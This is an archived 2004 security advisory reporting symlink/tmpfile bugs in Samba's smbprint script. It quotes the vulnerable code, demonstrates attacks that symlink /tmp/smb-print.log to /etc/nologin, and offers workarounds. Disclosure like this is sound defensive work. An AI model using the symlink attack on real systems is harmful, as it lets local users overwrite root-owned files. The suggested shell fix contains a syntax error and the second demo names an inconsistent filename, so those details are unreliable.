Samba 'smbprint' script tmpfile vulnerability.
From: Shaun Colley (shaunige_at_yahoo.co.uk)
Date: Fri, 19 Mar 2004 18:46:02 +0000 (GMT) To: email@example.com
Product: Samba 'smbprint' script.
Versions: All versions, but manifesting in
Bug: Symlink bug / tmpfile bug.
Impact: Attacker's can write to arbitrary files,
and in theory, elevate privileges
Date: March 19, 2004
Author: Shaun Colley
Included with the immensely popular Samba Package,
there is a small script called 'smbprint', which is
quite widely used (from what discussions I read on the
mailing list) to print documents over shares. There
are many versions of the script floating about - older
versions of the script are more vulnerable than the
smbprint script included with the latest release of
I have located a bug in older versions of the smbprint
script, and also a less likely one in the new version
(packaged with 3.0.2a and maybe earlier). These
vulnerabilities can allow an attacker to overwrite
sensitive system files, and in theory (though very
unlikely) elevate privilges. These bugs are due to
insecure tmpfile creation.
***NOTE: Although I refer to the less new smbprint
script as "older script", it is included in Mandrake
9.0, so it's not entirely "old" by any means. By "new
script", I mean the one posted by Alfred Perlstein,
which is packaged in the latest Samba packages.***
1) Older versions of smbprint - tmpfile vulnerability.
-- In older versions of smbprint (there are many versions floating around), tmpfiles, used for debugging, are created in an insecure manner. For the purpose of debugging, useful debugging information (output from commands, server used, etc) is written to a hard-coded logfile, /tmp/smb-print.log. The bug manifests in the following code: --- /usr/bin/smbprint --- [...] logfile=/tmp/smb-print.log [...] # VULNERABLE CODE! No file checks # on /tmp/smb-print.log for possible # malicious symlink. echo "server $server, service $service" >> $logfile [...] # Another insecure file write. /usr/bin/smbclient "//$server/$service" $password -U $server -N -P >> $logfile --- EOF No file checks are performed before writing to /tmp/smb-print.log, so symlinks *are* followed. If root is running the smbprint script, arbitrary files may be corrupted/appended, such as system files, i.e /etc/nologin. It is often the root user who invokes the script, so an attacker can potentially corrupt any file she wishes. 2) Newest version of smbprint - tmpfile vulnerability -- In the newer versions of smbprint (which I believe was put together in part by Alfred Perlstein), a similar tmpfile vulnerability exists, however, it is exploitable in fewer cases. smbprint uses a printer config file, /usr/var/spool/lpd/<PRINTNAME>/.config, to correctly carry out a print job. If, however, a user has specified to use debugging (in the .config file), a tmpfile (again, due to creation of a debugging log) vulnerability exists. Here is a sample config file on a system which is vulnerable: --- .config --- user="username" server=server service=printer password="" debug=yes --- EOF --- As can be seen, debugging is enabled to setting the debug option. In the smbprint script, the vulnerability manifests in the following offending code: --- debugfile="/tmp/smb-print.log" if [ "x$debug" = "x" ] ; then debugfile=/dev/null debugargs= else if [ $debug -eq 0 ] ; then debugfile=/dev/null debugargs= else # VULNERABLE CODE! No file checks # on /tmp/smb-print.log for possible # malicious symlink. set -x; exec >>$debugfile 2>&1 debugargs="$debugfile." #[ "x$debugsmb" == "x" ] || debugargs="$debugargs -d $debugsmb" fi fi --- The above code parses the host system's .config file for the "debug" option. If it is enabled, any program output is redirected to '/tmp/smb-print.log', via the BASH 'exec' command. However, no file checks are performed, so again, symlinks *are* followed. If an attacker were to create a symlink called smb-print.log in /tmp to a sensitive system file, assuming the debug option was set in the .config file, the system file would be written to if a superuser invoked smbprint. Exploitation ############# 1) Older versions of smbprint - tmpfile vulnerability. -- Below is a sample attack scenario I carried out on my test system. --- attack --- k1d$ ls -al /etc/nologin ls: /etc/nologin: No such file or directory k1d$ ln -s /etc/nologin /tmp/smb-print.log [...] root# /usr/bin/smbprint [...] [...] k1d$ ls -al /etc/nologin -rw-r--r-- 1 root root 0 Mar 19 18:11 /etc/nologin --- Exploitation, as evident above, is relatively simple. Since no checks on /tmp/smb-print.log are performed for existance of a possible symlink, all that an attacker needs to do is create a symlink named /tmp/smb-print.log to a desired arbitrary file writable by the invoker of smbprint, and simply wait for smbprint to be invoked. 2) Newest version of smbprint - tmpfile vulnerability -- Assuming the conditions are met specified in the technical details section (i.e debugging is specified in the .config file, etc), exploitation of the insecure tmpfile creation is possible. Below is an example attack scenario, in which an attacker was able to cause a sensitive system file to be created. --- attack --- k1d$ cat /usr/var/spool/lpd/default/.config user="username" server=server service=printer password="" debug=yes # machine seems to be vulnerable. k1d$ ln -s /etc/nologin /tmp/smb-print.tmp [...] root# /usr/bin/smbprint [...] [...] k1d$ ls -al /etc/nologin -rw-r--r-- 1 root root 0 Mar 19 18:11 /etc/nologin --- As a tmpfile is only written when debugging is enabled (the logfile is written with useful debug information), the attacker in the above attack condition checked for the existance of the "debug=" line in the 'smbprint' configuration file (.config). The attack suceeded, due to the ease of exploitation. Solution ######### I've tried to provide workarounds. Maybe bug 2) will be fixed in the next stable release of Samba. 1) Older versions of smbprint - tmpfile vulnerability. -- The tmpfile vulnerability can be prevented by performing a check for the existance of /tmp/smb-print before any file writes are done. The following line can be added before any writes to $logfile: --- if [ -h $logfile ] then # could be -e instead. $logfile="/dev/null" fi --- This will check for a /tmp/smb-print.log being already a symbolic link. More care could be taken, such as checking just for any existance of /tmp/smb-print.log. The logfile will be /dev/null, if /tmp/smb-print.log is a symbolic link, thus preventing the issue. A better solution would be to upgrade to the latest version of Samba. 2) Newest version of smbprint - tmpfile vulnerability -- Simple workaround is just to disable debugging in the smbprint config file. Remove any line beginning with "debug=" in your system's /usr/var/spool/lpd/<PRINTER_NAME>/.config file. This should eliminate the symlink/tmpfile vulnerability. Credit ####### Vulnerabilities discovered and researched by Shaun Colley / shaun2k2 - <firstname.lastname@example.org>. Thank you for your time. Shaun. ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html